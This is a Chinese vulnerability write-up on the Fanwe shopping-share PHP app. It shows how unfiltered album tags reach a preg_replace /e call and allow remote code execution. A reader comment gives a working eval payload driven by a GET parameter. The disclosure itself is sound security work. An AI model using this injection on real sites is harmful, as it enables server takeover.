方维购物分享最新版前台代码漏洞

/core/function/global.func.php

/**
 * 显示页面
 * @param string $cache_file 缓存路径
 * @param bool $is_session 是否更新session
 * @param bool $is_return 是否返回页面内容
 * @return mixed
 */
function display($cache_file = '',$is_session = true,$is_return = false)
  
{
  
global $_FANWE;
  
$content = NULL;
  
if(!empty($cache_file) && !file_exists($cache_file))
  
{
  
if(makeDir(preg_replace("/^(.*)\/.*?\.htm$/is", "\\1", $cache_file)))
  
{
  
$dynamic_php = '';
  
if(isset($_FANWE['page_parses']))
  
$dynamic_php = "<?php\n".' $_FANWE[\'CACHE_CSS_SCRIPT_PHP\']'." = ".var_export($_FANWE['page_parses'], true).";\n?>";
  
  
  
$content = ob_get_contents();
  
express($content);
  
  
  
if(isset($_FANWE['tpl_image_formats']))
  
$dynamic_php .= "<?php\n".' setTplFormats(\'tpl_image_formats\','.var_export($_FANWE['tpl_image_formats'], true).");\n?>";
  
  
  
writeFile($cache_file,$dynamic_php.$content);
  
}
  
}
  
  
  
require_once fimport('dynamic/common');
  
$module_dynamic = '';
  
if(defined('MODULE_NAME') && MODULE_NAME != '')
  
$module_dynamic = fimport('dynamic/'.MODULE_NAME);
  
  
  
if(!empty($module_dynamic) && file_exists($module_dynamic))
  
require_once $module_dynamic;
  
  
  
if($content === NULL)
  
{
  
$content = ob_get_contents();
  
express($content);
  
}
  
ob_end_clean();
  
 
$content = preg_replace('/<!--dynamic\s+(.+?)(?:|\sargs=(.*?))-->/ies', "\\1('\\2');", $content);

最后的preg_replace 使用了/e的命令执行符号。
$content可被控制。
即页面上如果出现 即被执行args里的命令
寻找一个变量能被没有过滤掉关键字符之类,并且能在页面上显示的就行。
找了半天,找了个album.php的模块下的一个tags .
缺陷文件
/core/module/album.module.php 的300多行:

if($share['status'])
{
$data['title'] = htmlspecialchars($_FANWE['request']['title']);
$data['content'] = htmlspecialchars($_FANWE['request']['content']);
$data['tags'] = implode(' ',$tags);
$data['uid'] = $_FANWE['uid'];
$data['share_id'] = $share['share_id'];
$data['create_day'] = getTodayTime();
$data['create_time'] = TIME_UTC;
  
$aid = FDB::insert('album',$data,true);

Tags 变量只做了分割处理。分割字符串为空格即%20
前面的正则条件是需要匹配\s 即空白字符,其中包括\t \r \n 等
所以,提交tags标签时,提交如下类似的字符串即进入到模版缓存替换执行中

upload

write

shell

1 条评论

  1. sunnycode

    我本地测试怎么不管用
    album.php?action=show&id=13&test=phpinfo(); <div class="element"> 时尚元素:<a href="/book.php?action=shopping&tag=%253C%2521--dynamic%252509eval%2528%2540%2524_GET%255Btest%255D%2529%253B--%253E"><!--dynamic%09eval(@$_GET[test]);--></a>

发表评论